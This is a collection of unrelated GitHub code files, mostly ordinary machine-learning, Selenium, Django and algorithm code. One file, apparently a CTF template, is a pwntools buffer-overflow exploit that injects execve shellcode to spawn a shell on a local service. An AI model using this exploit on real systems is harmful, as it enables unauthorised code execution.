self.__class__.__name__),\n Warning,\n )\n self.states = []\n self.metrics = []\n self.helper = LayerHelper(name, **kwargs)\n\n def reset(self, executor, reset_program=None):\n \"\"\"\n reset metric states at the begin of each pass/user specified batch\n\n Args:\n executor(Executor|ParallelExecutor): a executor for executing the reset_program\n reset_program(Program): a single Program for reset process\n \"\"\"\n if reset_program is None:\n reset_program = Program()\n\n with program_guard(main_program=reset_program):\n for var in self.states:\n assert isinstance(var, Variable)\n g_var = _clone_var_(reset_program.current_block(), var)\n layers.fill_constant(\n shape=g_var.shape, value=0.0, dtype=g_var.dtype, out=g_var\n )\n\n executor.run(reset_program)\n\n def eval(self, executor, eval_program=None):\n \"\"\"\n Evaluate the statistics merged by multiple mini-batches.\n Args:\n executor(Executor|ParallelExecutor): a executor for executing the eval_program\n eval_program(Program): a single Program for eval process\n \"\"\"\n raise NotImplementedError()\n\n def _create_state(self, suffix, dtype, shape):\n \"\"\"\n Create state variable.\n\n Args:\n suffix(str): the state suffix.\n dtype(str|core.VarDesc.VarType): the state data type\n shape(tuple|list): the shape of state\n\n Returns: State variable\n\n \"\"\"\n state = self.helper.create_variable(\n name=\"_\".join([unique_name.generate(self.helper.name), suffix]),\n persistable=True,\n dtype=dtype,\n shape=shape,\n )\n self.states.append(state)\n return state\n","repo_name":"AmpereComputingAI/Paddle","sub_path":"python/paddle/fluid/evaluator.py","file_name":"evaluator.py","file_ext":"py","file_size_in_byte":3500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"40227619565","text":"import sys\nfrom array import *\n\ndef findWindow(ip):\n n = len(ip)\n print(n)\n #visit= array('i',[0,0,0,0,0,0,0,0,0,0])\n visit = [0] * n\n count = 0\n c = 0\n for i in range(n):\n tmp = ord(ip[i]) - ord('a')\n if visit[tmp]==0:\n visit[tmp] = 1 \n count+=1 \n \n start = 0\n startIndex = 0\n maxWindow = sys.maxsize\n ccount = [0] * 256\n for i in range(n):\n tmp = ord(ip[i]) - ord('a')\n ccount[tmp] += 1 \n if ccount[tmp] == 1:\n c += 1\n if c == count:\n while ccount[tmp] > 1:\n if ccount[tmp] > 1:\n ccount[tmp]-= 1 ;\n start += 1 \n nw = i - start+1 \n if nw < maxWindow:\n maxWindow = nw \n startIndex = start \n return ip[startIndex:]\n \n \nip = \"aabcbcdbac\"\nprint(\"Smallest Substring z \", findWindow(ip))\n","repo_name":"nandyorama/DS-","sub_path":"smallestWindowAllUniqueChar.py","file_name":"smallestWindowAllUniqueChar.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"36329666994","text":"#importing required lib\nimport time\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import Select\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.chrome.options import Options\n\n#initializing webdriver\nweb_detach = Options()\nweb_detach.add_experimental_option(\"detach\", True)\ndriver = webdriver.Chrome(options=web_detach, service=Service(ChromeDriverManager().install()))\ndriver.implicitly_wait(10)\n\ndriver.maximize_window()\ndriver.get(\"https://www.delta.com/\")\ntime.sleep(3)\n\nsky_miles_tab = driver.find_element(By.ID, \"headSectab2\")\nact_chain = ActionChains(driver)\nact_chain.move_to_element(sky_miles_tab).perform()\nhow_to_earn_miles = driver.find_element(By.ID, \"secondary-static-link-0\")\nhow_to_earn_miles.click()\n\ndriver.back()\ntime.sleep(3)\ndriver.forward()\ntime.sleep(3)\ndriver.back()\ntime.sleep(3)\ndriver.refresh()\n\ndriver.quit()","repo_name":"Makhammadov/SeWebDriverPractice","sub_path":"SeBasics/moveToElement.py","file_name":"moveToElement.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"37911526876","text":"import numpy\nfrom sklearn.preprocessing import minmax_scale\n\nfrom FileUtils.fonts import count_accepted\nfrom multiperceptron import MultiPerceptron\nfrom FileUtils import fonts as fts, functions\nfrom random import randint\nimport matplotlib.pyplot as plt\n\n\ndef ex_1b(noise_method, noise_magnitude, noise_probability, mean, sigma):\n print(\"EXERCISE 1.B:\")\n # Load classes and set variables\n fonts = fts.Font()\n training_iterations = 1000\n # Choose dataset\n chosen_font = fonts.font2\n # Convert to legible font\n dataset = fts.import_font(chosen_font)\n letter_dimension = dataset[0].size\n rows, cols = dataset.shape\n\n # Pre-processing\n dataset = fts.pre_tanh(dataset)\n\n predictions_limit = 5\n data = []\n noise = []\n for i in range(1, predictions_limit + 1):\n data.append(dataset[i])\n noise.append(add_noise(noise_method, noise_magnitude, noise_probability, mean, sigma, dataset[i]))\n noise = numpy.array(noise)\n data = numpy.array(data)\n\n\n # Create autoencoder\n mp = MultiPerceptron.new_optimized(tanh_function, tanh_derivative, learning_rate=0.001, beta=1, layers=11,\n layer_dims=[letter_dimension, 25, 17, 10, 5, 2, 5, 10, 17, 25, letter_dimension],\n data_dim=letter_dimension, inputs=noise, expected=data)\n\n # prediction\n accepted_values = 0\n for i in range(predictions_limit):\n print(\"No noise:\")\n print(data[i].reshape(7, 5))\n print()\n print(\"With noise:\")\n print(noise[i].reshape(7, 5))\n print(\"------------\")\n mp.predict(noise[i])\n output = mp.layers[-1].activations\n print(\"Output:\")\n print(output.reshape(7, 5))\n print()\n accepted = fts.count_accepted(0.1, data[i], output)\n print(accepted)\n if accepted: accepted_values += 1\n print()\n print(f'Accepted: {accepted_values}')\n\n\ndef add_noise(noise_method, noise_magnitude, noise_probability, mean, sigma, x):\n noisy = []\n\n if noise_method == 's&p':\n for i in range(len(x)):\n prob = numpy.random.uniform(0, 1)\n if prob >= noise_probability:\n if x[i] == 1:\n noisy.append(-1)\n else:\n noisy.append(1)\n else:\n noisy.append(x[i])\n elif noise_method == 'gauss':\n for i in range(len(x)):\n gaussian = numpy.random.normal(mean, sigma, x.shape)\n noisy.append(x[i] + gaussian[i])\n noisy = minmax_scale(noisy, feature_range=(-1, 1))\n else:\n for i in range(len(x)):\n delta = numpy.random.uniform(0, noise_magnitude)\n if x[i] == 1:\n noisy.append(x[i] - delta)\n else:\n noisy.append(x[i] + delta)\n return noisy\n\n\ndef tanh_function(x):\n return numpy.tanh(x)\n\n\n# Assuming y = tanh(x)\ndef tanh_derivative(y):\n return 1 - (y ** 2)\n","repo_name":"maanuluque/Machine-Learning","sub_path":"TP5/Autoencoder/denoising_autoencoder.py","file_name":"denoising_autoencoder.py","file_ext":"py","file_size_in_byte":2979,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"11577933373","text":"def outer(a):\r\n print(\"This is outer\")\r\n\r\n def inner(*args, **kwargs): # inner function should be generic\r\n print(\"This is inner\")\r\n for i in args:\r\n if type(i) != str:\r\n print(\"Invalid\")\r\n break\r\n else:\r\n for i in kwargs.values():\r\n if type(i) != str:\r\n print(\"Invalid\")\r\n break\r\n else:\r\n a(*args, **kwargs)\r\n print(\"Inner finished\")\r\n\r\n return inner\r\n\r\n\r\n@outer\r\ndef hello(name):\r\n print(\"Hello\" + name)\r\n\r\n\r\n@outer\r\ndef sayhi(name1, name2):\r\n print(\"Hello1 \" + name1 + \" \" + name2)\r\n\r\n\r\n# hello = outer(hello) This can be replaced by @wrapperfunctionname above the real function\r\n# sayhi = outer(sayhi) This can be replaced by @wrapperfunctionname above the real function\r\nhello(\"Sachin\")\r\nsayhi(name1=\"Sachin\", name2=\"Rahul\")\r\nhello(1)\r\n","repo_name":"shubh4197/Python","sub_path":"PycharmProjects/day4/program1.py","file_name":"program1.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"40252480735","text":"import time\nimport sense_utils\nimport datetime\nimport RPi.GPIO as GPIO\nfrom sense_utils import *\nfrom etg_mother import *\nfrom battery import Battery\nfrom raspberry import Config\n\ninit_bn_battery_to_charge = 0\n\n#init\nconfig = Config()\ntry:\n\n buttonOnOff = True\n ledState = False\n add_battery_button = True\n count = 0\n stateOnOff = False\n init = False\n end_init = False\n\n batA = Battery()\n batB = Battery()\n batC = Battery()\n\n batteries = []\n\n # Send some test\n print(\"Come on man, press the button!\")\n config.lcd_string(time.ctime(), Config.LCD_LINE_1)\n\n while True:\n buttonOnOff = GPIO.input(Config.buttonPin)\n # ON\n if buttonOnOff == False and stateOnOff == False and end_init == False:\n #GPIO.output(Config.LEDPinRed, True)\n print(\"LED ON\")\n config.lcd_string(\"Rasbperry Pi On\", Config.LCD_LINE_1)\n config.lcd_string(\"choisir nb batterie\", Config.LCD_LINE_2)\n\n #launch eTG\n authentication()\n\n cookies = getCookies()\n charging_time = []\n for cookie in cookies:\n subscribe(cookie)\n timeForCharge = getChargingTime(getCookieTemperature(cookie))\n print(timeForCharge)\n charging_time.append(timeForCharge)\n\n timeeforcharge_formathms = str(datetime.timedelta(seconds=((timeForCharge * 100) * 60)))\n print('il faudra ' + timeeforcharge_formathms + ' minutes pour charger le ' + cookie.label)\n end_init = True\n\n # get batteries\n batA = Battery(id=1, label=cookies[0].label, max=10, charging_time=charging_time[0])\n batB = Battery(id=2, label=cookies[1].label, max=10, charging_time=charging_time[1])\n batC = Battery(id=3, label=cookies[2].label, max=10, charging_time=charging_time[2])\n\n if not (batA == None) or (batB == None) or (batC == None):\n batteries = [batA, batB, batC]\n\n\n stateOnOff = True\n time.sleep(0.5)\n\n if buttonOnOff == False and stateOnOff == True and end_init == False:\n GPIO.output(Config.LEDPinRed, False)\n print(\"LED OFF\")\n config.lcd_string(\"Rasbperry Pi OFF\", Config.LCD_LINE_1)\n config.lcd_string(\"Au revoir (^_^)\", Config.LCD_LINE_2)\n\n # for simulation fin utilisation battery - reset\n for bat in batteries:\n if bat.etat == 100:\n bat.etat = 0\n\n stateOnOff = False\n init = False\n time.sleep(0.5)\n\n # si allume\n if stateOnOff == True:\n init = True\n # init\n add_battery_button = GPIO.input(Config.buttonPinCount)\n\n if add_battery_button == False:\n init_bn_battery_to_charge += 1\n if init_bn_battery_to_charge > 3:\n init_bn_battery_to_charge = 1\n\n config.lcd_string(\"Nbr de chargeur\", Config.LCD_LINE_1)\n config.lcd_string(str(init_bn_battery_to_charge), Config.LCD_LINE_2)\n print(\"Number OF led: \", init_bn_battery_to_charge)\n time.sleep(0.5)\n\n buttonOnOff = GPIO.input(Config.buttonPin)\n\n if buttonOnOff == False:\n end_init = True\n \n elif end_init == True:\n #end_init = False\n # launch charge\n if not (batteries == []):\n batteries = [batA, batB, batC]\n launch_charge(init_bn_battery_to_charge = init_bn_battery_to_charge, p_batteries=batteries)\n if init_bn_battery_to_charge == 1:\n GPIO.output(Config.LEDPinRed, True)\n config.lcd_string(\"Battry Cum\", Config.LCD_LINE_1)\n config.lcd_string(\"100% (^_^)\", Config.LCD_LINE_2)\n \n # for simulation fin utilisation battery - reset\n init_bn_battery_to_charge = -1\n for bat in batteries:\n if bat.etat == 100:\n bat.etat = 0\n print(bat.id)\n\n end_init = False\nexcept KeyboardInterrupt:\n pass\nfinally:\n config.lcd_byte(0x01, Config.LCD_CMD)\n config.lcd_string(\"Goodbye!\", Config.LCD_LINE_1)\n GPIO.cleanup()\n\n","repo_name":"M2ISCTeamTeaParty/projetIoTeTG","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":4450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"23801465627","text":"#################\n###HANOI TOWERS##\n#################\n#################\n#DESCRIPTION : The game consist in three towers. The first one has t pieces and the others\n# none. The objective is to place the tower to the last tower with a LIFO\n# order.\n#################\n\n#Recursive algorithm\ndef recur (ori, aux, obj, n) :\n print(str(n) + \" : \" + str(obj) + \" \" + str(aux) + \" \" + str(ori))\n if n != 0 :\n recur(obj,ori,aux,n-1)\n\n###BEGIN###\nprint(\"Nombre of pieces\")\nt = int(input())\n\n#Number of moviments to make\nn = pow(2,t) -2 # n = 2^-1. As the first movement is known, n = 2^-2\nprint (str(n) + \" : 0 1 2\") # The last piece of the tower whose number is 2 must be\n # be placed to the tower whose number is 0.\nrecur (0,1,2,n) # Call to the recrsive funciton\n","repo_name":"einenjfr/Algorithms","sub_path":"Problems/Hanoï/hanoi.py","file_name":"hanoi.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"73725871192","text":"class Solution:\r\n def canPartitionKSubsets(self, nums: List[int], k: int) -> bool:\r\n size = len(nums)\r\n if size < k:\r\n return False\r\n if sum(nums)%k != 0:\r\n return False\r\n nums.sort(reverse=True)\r\n target = [sum(nums)/k] * k\r\n\r\n def dfs(pos):\r\n if pos == size:\r\n return True\r\n for i in range(k):\r\n if target[i] >= nums[pos]:\r\n target[i] -= nums[pos]\r\n if dfs(pos+1):\r\n return True\r\n target[i] += nums[pos]\r\n return False\r\n return dfs(0)\r\n","repo_name":"esddse/leetcode","sub_path":"medium/698_partition_to_k_equal_sum_subsets.py","file_name":"698_partition_to_k_equal_sum_subsets.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"42417989820","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Importing the dependencies\n\n# In[50]:\n\n\nget_ipython().system('pip install clean-text[gpl]')\n\n\n# In[48]:\n\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchtext.datasets import YelpReviewPolarity\nimport pandas as pd\nimport torch.optim as optim\nimport matplotlib.pyplot as plt\nfrom torchtext.vocab import GloVe\nfrom nltk import word_tokenize, sent_tokenize, RegexpTokenizer\nimport nltk\nfrom nltk import tokenize\nfrom nltk.corpus import stopwords\nfrom tqdm.notebook import tqdm\n\n\n\nnltk.download('punkt')\nnltk.download('wordnet')\nnltk.download('stopwords')\n\n\n# # Downloading and preparing dataset\n\n# In[2]:\n\n\n# run this cell to prepare your data\n\n\n# sample\ndef sample_k_array(mat, k, labels=2):\n data = []\n for label in range(1, labels + 1):\n temp_mat = mat[mat[:,0] == label]\n temp_array = temp_mat[np.random.choice(temp_mat.shape[0], k, replace=False), :]\n for item in temp_array:\n data.append(item)\n return np.array(data)\n\n# download dataset\nYelpReviewPolarity(root='.', split=('train', 'test'))\n\n# reading train & test data\ntrain_dataframe = pd.read_csv('YelpReviewPolarity/yelp_review_polarity_csv/train.csv')\nval_dataframe = pd.read_csv('YelpReviewPolarity/yelp_review_polarity_csv/test.csv')\n\n# renaming columns\ntrain_dataframe = train_dataframe.rename(columns={ train_dataframe.columns[0]: 'label', train_dataframe.columns[1]: 'text'})\n\nval_dataframe = val_dataframe.rename(columns={ val_dataframe.columns[0]: 'label', val_dataframe.columns[1]: 'text'})\n\n\ntrain_mat = train_dataframe.values\nval_mat = val_dataframe.values\ntrain_data = sample_k_array(train_mat, 5000)\nval_data = sample_k_array(val_mat, 1000)\ntrain_data = pd.DataFrame({\n 'text': train_data[:, 1],\n 'label': train_data[:, 0]\n})\nval_data = pd.DataFrame({\n 'text': val_data[:, 1],\n 'label': val_data[:, 0]\n})\ntrain_data['label'] -= 1\nval_data['label'] -= 1\n\n\n# In[3]:\n\n\n# download Glove 100-dim vectors\nglove_embedding = GloVe(name='6B', dim=100)\n\n\n# In[4]:\n\n\ntrain_data\n\n\n# In[5]:\n\n\nval_data\n\n\n# In[21]:\n\n\ndef count_words(sentence):\n return len(sentence.split(' '))\n\n\n# In[7]:\n\n\ndef convert_to_glove(tokenized):\n temp = []\n for word in tokenized:\n temp.append(glove_embedding[word])\n return temp\n\ndef remove_stop_words(tokenized):\n return [word for word in tokenized if not word in stopwords.words()]\n\n\n# In[ ]:\n\n\n\n\n\n# In[51]:\n\n\nimport re\nfrom nltk.corpus import stopwords\n\ndef remove_stop_words_quick(sentence):\n cachedStopWords = stopwords.words(\"english\")\n pattern = re.compile(r'\\b(' + r'|'.join(cachedStopWords) + r')\\b\\s*')\n return pattern.sub('', sentence)\n\n\n# In[67]:\n\n\nfrom cleantext import clean\ndef clean_sentences(sentence):\n return clean(sentence,\n fix_unicode=True, # fix various unicode errors\n to_ascii=True, # transliterate to closest ASCII representation\n lower=True, # lowercase text\n no_line_breaks=True, # fully strip line breaks as opposed to only normalizing them\n no_urls=True, # replace all URLs with a special token\n no_emails=True, # replace all email addresses with a special token\n no_phone_numbers=False, # replace all phone numbers with a special token\n no_numbers=True, # replace all numbers with a special token\n no_digits=True, # replace all digits with a special token\n no_currency_symbols=False, # replace all currency symbols with a special token\n no_punct=True, # remove punctuations\n lang=\"en\" ) # set to 'de' for German special handling\n\ndef remove_small_len(sentence):\n return str.join(' ',[item if len(item)>2 else '' for item in word_tokenize(sentence) ])\n\n\n# In[54]:\n\n\ntrain_data['text_cleaned'] = train_data['text'].apply(clean_sentences)\ntrain_data['text_cleaned'] = train_data['text_cleaned'].apply(remove_stop_words_quick)\ntrain_data['text_cleaned'] = train_data['text_cleaned'].apply(remove_small_len)\n\n\n# In[75]:\n\n\nval_data['text_cleaned'] = val_data['text'].apply(clean_sentences)\nval_data['text_cleaned'] = val_data['text_cleaned'].apply(remove_stop_words_quick)\nval_data['text_cleaned'] = val_data['text_cleaned'].apply(remove_small_len)\n\n\n# In[69]:\n\n\ntrain_data['text_cleaned'].apply(count_words).hist(bins=100)\n\n\n# In[10]:\n\n\ndevice = torch.device(\"cuda:0\") if torch.cuda.is_available() else torch.device(\"cpu\")\ndevice\n\n\n# In[11]:\n\n\nbatch_size = 128\n\n\n# In[71]:\n\n\ntrain_data['text_cleaned'].apply(word_tokenize)\n\n\n# In[ ]:\n\n\n\n\n\n# In[76]:\n\n\nfrom tqdm.notebook import tqdm\n\nclass CustomDataset(Dataset):\n\n def __init__(self, data):\n self.data = data\n \n def __len__(self):\n return self.data.shape[0]\n \n def __getitem__(self, idx):\n data_frame_row = self.data.loc[idx]\n raw_text = data_frame_row['text_cleaned'].lower()\n splitted_text = word_tokenize(raw_text)\n label = data_frame_row['label']\n\n number_of_words = 200\n seq_embbeding = np.zeros((number_of_words, 100))\n for idx, token in enumerate(splitted_text):\n if idx>= number_of_words:\n break\n seq_embbeding[idx, :] = glove_embedding[token]\n \n seq_embbeding = torch.Tensor(seq_embbeding)\n return seq_embbeding, label\n \n\n\ntrain_loader = DataLoader(CustomDataset(train_data[['text_cleaned','label']]), batch_size = batch_size, shuffle = True)\nval_loader = DataLoader(CustomDataset(val_data[['text_cleaned','label']]), batch_size = batch_size, shuffle = True)\n\n\n# In[77]:\n\n\nx,y=next(iter(train_loader))\nx.shape\n\n\n# # Defining Model\n\n# In[81]:\n\n\nclass YelpClassifier(nn.Module):\n\n def __init__(self):\n super(YelpClassifier,self).__init__()\n\n\n self.lstm = nn.LSTM(input_size=100,hidden_size=64, num_layers=2,\n batch_first=True)\n \n self.fc2 = nn.Sequential(\n nn.Linear(64,16),\n nn.ReLU(),\n\n nn.Linear(16,2)\n )\n\n self.loss_ = nn.CrossEntropyLoss()\n\n\n def forward(self, x):\n x, _ = self.lstm(x)\n x = x[:,-1,:]\n x = self.fc2(x)\n return x\n\n \n def loss(self, outputs, targets):\n return self.loss_(outputs, targets)\n\n\n# In[82]:\n\n\nprint(YelpClassifier())\n\n\n# In[82]:\n\n\n\n\n\n# # Training & Evaluation\n\n# In[88]:\n\n\nfrom sklearn.metrics import f1_score\n# your code\n\ndevice = torch.device(\"cuda:0\") if torch.cuda.is_available() else torch.device(\"cpu\")\n\ndef eval_model(model, data_loader, device):\n\n n = len(data_loader.dataset)\n model.eval()\n\n sum =0 \n with torch.no_grad():\n for x, y in data_loader:\n x= x.to(device)\n y=y.to(device)\n y_pred = model(x)\n y_pred = torch.argmax(y_pred, axis=-1)\n sum = sum + f1_score(y,y_pred)*x.shape[0]\n \n return sum/n\n\ndef train(model, train_loader, val_loader, optimizer, num_epochs, device):\n\n train_loss_history = np.zeros((num_epochs,))\n val_loss_history = np.zeros((num_epochs,))\n train_f1_history = np.zeros((num_epochs,))\n val_f1_history = np.zeros((num_epochs,))\n\n for epoch in range(num_epochs):\n train_loss = 0\n model.train()\n for x, y in tqdm(train_loader):\n x, y = x.to(device), y.to(device)\n optimizer.zero_grad()\n y_pred = model(x)\n loss = model.loss(y_pred, y)\n loss.backward()\n optimizer.step()\n train_loss += loss.item() * x.shape[0]\n \n train_loss = train_loss / len(train_loader.dataset)\n\n val_loss = 0\n model.eval()\n with torch.no_grad():\n for x, y in val_loader:\n x,y= x.to(device),y.to(device)\n n = x.shape[0]\n y_pred = model(x).to(device)\n loss = model.loss(y_pred, y)\n val_loss += loss.item() * x.shape[0]\n\n val_loss = val_loss / len(val_loader.dataset)\n\n train_f1,val_f1 = eval_model(model, train_loader, device),eval_model(model, val_loader, device)\n\n train_loss_history[epoch] = train_loss\n val_loss_history[epoch] = val_loss\n train_f1_history[epoch] = train_f1\n val_f1_history[epoch] = val_f1\n\n print(f\"Epoch {epoch + 1} / {num_epochs} Training Loss = {train_loss:.5f} Test Loss = {val_loss:.5f}\")\n print(f\"Training F1 score = {train_f1:.5f} F1 score = {val_f1:.5f}\")\n \n return train_loss_history, val_loss_history, train_f1_history, val_f1_history\n\nn_epochs = 15\nmodel = YelpClassifier()\nmodel=model.to(device)\noptimizer = optim.Adam(model.parameters(), lr=1e-3)\ntrain_loss,test_loss,train_f1,test_f1 = train(model, train_loader, val_loader, optimizer, n_epochs, device)\n\n\n# In[ ]:\n\n\n\n\n\n# # Draw Loss & F1-score\n\n# In[89]:\n\n\n# your code\nplt.plot(np.arange(0, n_epochs), train_loss, color = 'r', label = 'train')\nplt.plot(np.arange(0, n_epochs), test_loss, color = 'g', label = 'test')\nplt.title(\"loss\")\n\nplt.plot(np.arange(0, n_epochs), train_f1, color = 'r', label = 'train')\nplt.plot(np.arange(0, n_epochs), test_f1, color = 'g', label = 'test')\nplt.title(\"f1\")\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"pourmand1376/DL-Homeworks","sub_path":"HW3/Practical/DeepLearning_Q5_AmirPourmand.py","file_name":"DeepLearning_Q5_AmirPourmand.py","file_ext":"py","file_size_in_byte":9294,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"73804135512","text":"\"\"\"\nNo Intersecting Ones\nA no-intersecting ones matrix is one where no two ones exist on the same row or column.\n\nTo illustrate:\n\n[\n [1, 0, 0, 0, 0],\n [0, 1, 0, 0, 0],\n [0, 0, 0, 1, 0],\n [0, 0, 0, 0, 0],\n [0, 0, 1, 0, 0]\n]\nThe list below is not a non-intersecting ones matrix:\n\n[\n [1, 0, 0, 0, 0],\n [0, 1, 0, 0, 0],\n [0, 0, 0, 1, 0],\n [0, 1, 0, 0, 0],\n [0, 0, 0, 0, 0]\n]\n\n// Column 2 has two 1s.\nWrite a function that returns True if a 2D matrix is a no-intersecting ones matrix and False otherwise.\n\nExamples\nno_intersecting_nes([\n [0, 1],\n [1, 0]\n]) ➞ True\n\nno_intersecting_ones([\n [1, 1],\n [0, 0]\n]) ➞ False\n\nno_intersecting_ones([\n [0, 0, 0, 1],\n [1, 0, 0, 0],\n [0, 1, 0, 0]\n]) ➞ True\n\"\"\"\n\n\ndef no_intersecting_ones(lst):\n for i in range(len(lst[0])):\n out = []\n for j in range(len(lst)):\n if lst[j].count(1) > 1:\n return False\n out.append(lst[j][i])\n if out.count(1) > 1:\n return False\n return True\n\n\nprint(no_intersecting_ones([\n [0, 0, 0, 1],\n [1, 0, 0, 0],\n [0, 1, 0, 0]\n]))\n\nprint(no_intersecting_ones([\n [1, 1],\n [0, 0]\n]))","repo_name":"andreiclu/Python_basics","sub_path":"medium_hard_problems/no_intersecting_ones.py","file_name":"no_intersecting_ones.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"28463243509","text":"#!/usr/bin/python\np = remote('127.0.0.1', 9999)\n# receive until we see this text\np.recvuntil(\"Oops, I'm leaking! \")\n# store leaked libc base address\nleak=int(p.recvuntil(\"\\n\"),16)\nlog.info('Libc address: {}'.format(hex(leak)))\np.recvuntil(\"> \")\n# execve x64 shellcode 30 bytes - https://www.exploit-db.com/exploits/37362/\npayload = \"\\x31\\xc0\\x48\\xbb\\xd1\\x9d\\x96\\x91\\xd0\\x8c\\x97\\xff\\x48\\xf7\\xdb\\x53\\x54\\x5f\\x99\\x52\\x57\\x54\\x5e\\xb0\\x3b\\x0f\\x05\"\npayload += \"A\"*(72-len(payload))\npayload += p64(leak)\np.sendline (payload)\np.interactive()\n","repo_name":"OlivierLaflamme/CTF-Script-And-Template-Thrift-Shop","sub_path":"leak-bof.py","file_name":"leak-bof.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"5"} +{"seq_id":"16407470599","text":"# coding: utf-8\n\nfrom itertools import groupby\nfrom django.contrib import admin\nfrom django.contrib.admin.actions import delete_selected as delete_selected_original\nfrom django.contrib.admin.utils import quote\nfrom django.contrib.contenttypes.admin import GenericStackedInline\nfrom django.http import HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\nfrom django import forms\nfrom django.utils.translation import ugettext_lazy as _, ungettext_lazy\nfrom autocomplete_light import modelform_factory\nfrom statistics.admin import RemoveDeleteActionMixin\nfrom plp.utils.webhook import ZapierInformer\nfrom plp_extension.apps.course_extension.models import CourseExtendedParameters\nfrom plp_extension.apps.module_extension.admin import EducationalModuleExtendedInline\nfrom opro_payments.admin_forms import UpsaleFormCheckerMixin\nfrom .utils import generate_promocode\nfrom .models import (\n EducationalModule,\n EducationalModuleEnrollment,\n EducationalModuleEnrollmentType,\n EducationalModuleEnrollmentReason,\n Benefit,\n BenefitLink,\n CoursePromotion,\n PromoCode\n)\n\n\nclass BenefitLinkInline(GenericStackedInline):\n model = BenefitLink\n extra = 0\n\n\nclass EducationalModuleAdminForm(forms.ModelForm):\n class Meta:\n model = EducationalModule\n fields = '__all__'\n\n def clean_courses(self):\n courses = self.cleaned_data.get('courses')\n if courses:\n proj = CourseExtendedParameters.objects.filter(course__id__in=[i.id for i in courses], is_project=True)\n if proj:\n for p in proj:\n if EducationalModule.objects.filter(courses=p.course).count() > 0:\n raise forms.ValidationError(_(u'Проект {title} уже содержится в другом модуле').format(\n title=p.course.title\n ))\n return courses\n\n def clean_subtitle(self):\n val = self.cleaned_data.get('subtitle')\n if val and not (1 <= len([i for i in val.splitlines() if i.strip()]) <= 3):\n raise forms.ValidationError(_(u'Введите от 1 до 3 элементов, каждый с новой строки'))\n return val\n\n\nclass EducationalModuleAdmin(RemoveDeleteActionMixin, admin.ModelAdmin):\n form = EducationalModuleAdminForm\n inlines = [EducationalModuleExtendedInline, BenefitLinkInline]\n readonly_fields = ('sum_ratings', 'count_ratings')\n\n\nclass EducationalModuleEnrollmentAdmin(admin.ModelAdmin):\n list_display = ('user', 'module', 'is_active')\n form = modelform_factory(EducationalModuleEnrollment, exclude=[])\n\n def save_model(self, request, obj, form, change):\n super(EducationalModuleEnrollmentAdmin, self).save_model(request, obj, form, change)\n ZapierInformer().push(ZapierInformer.ACTION.plp_admin_edmodule_enroll, user=obj.user, module=obj.module)\n\n\nclass EducationalModuleEnrollmentReasonAdmin(admin.ModelAdmin):\n search_fields = ('enrollment__user__username', 'enrollment__user__email')\n list_display = ('enrollment', 'module_enrollment_type', )\n list_filter = ('enrollment__module__code', )\n\n def save_model(self, request, obj, form, change):\n super(EducationalModuleEnrollmentReasonAdmin, self).save_model(request, obj, form, change)\n ZapierInformer().push(ZapierInformer.ACTION.plp_admin_edmodule_enrollreason, user=obj.enrollment.user,\n module=obj.module_enrollment_type.module)\n\n\nclass BenefitForm(UpsaleFormCheckerMixin, forms.ModelForm):\n def clean_icon(self):\n return self._check_image('icon', max_file_size=1, types=['PNG'], max_size=(1000, 1000))\n\n class Meta:\n model = Benefit\n fields = '__all__'\n\n\nclass BenefitAdmin(admin.ModelAdmin):\n actions = ['delete_selected']\n form = BenefitForm\n\n def check_if_can_delete(self, request, queryset):\n linked_objs = BenefitLink.objects.filter(benefit__in=queryset).order_by('benefit__id')\n titles = {i.id: i.title for i in queryset}\n msg_parts = []\n for i, objs in groupby(linked_objs, lambda x: x.benefit_id):\n msg_part = [u'%s #%s' % (link.content_type.model_class()._meta.verbose_name, link.object_id)\n for link in objs]\n msg_parts.append(u'%s: %s' % (titles[i], u', '.join(msg_part)))\n if msg_parts:\n msg = ungettext_lazy(\n u'Нельзя удалить выбранный объект, имеются связи: %s',\n u'Нельзя удалить выбранные объекты, имеются связи: %s',\n len(msg_parts)\n ) % u'; '.join(msg_parts)\n self.message_user(request, msg)\n return False\n return True\n\n def delete_view(self, request, object_id, extra_context=None):\n if not self.check_if_can_delete(request, self.model.objects.filter(id=quote(object_id))):\n opts = self.model._meta\n redirect_url = reverse(\n 'admin:%s_%s_change' % (opts.app_label, opts.model_name),\n args=(quote(object_id),),\n current_app=self.admin_site.name\n )\n return HttpResponseRedirect(redirect_url)\n return super(BenefitAdmin, self).delete_view(request, object_id, extra_context)\n\n def delete_selected(self, request, queryset):\n if not self.check_if_can_delete(request, queryset):\n opts = self.model._meta\n redirect_url = reverse(\n 'admin:%s_%s_changelist' % (opts.app_label, opts.model_name),\n current_app=self.admin_site.name\n )\n return HttpResponseRedirect(redirect_url)\n return 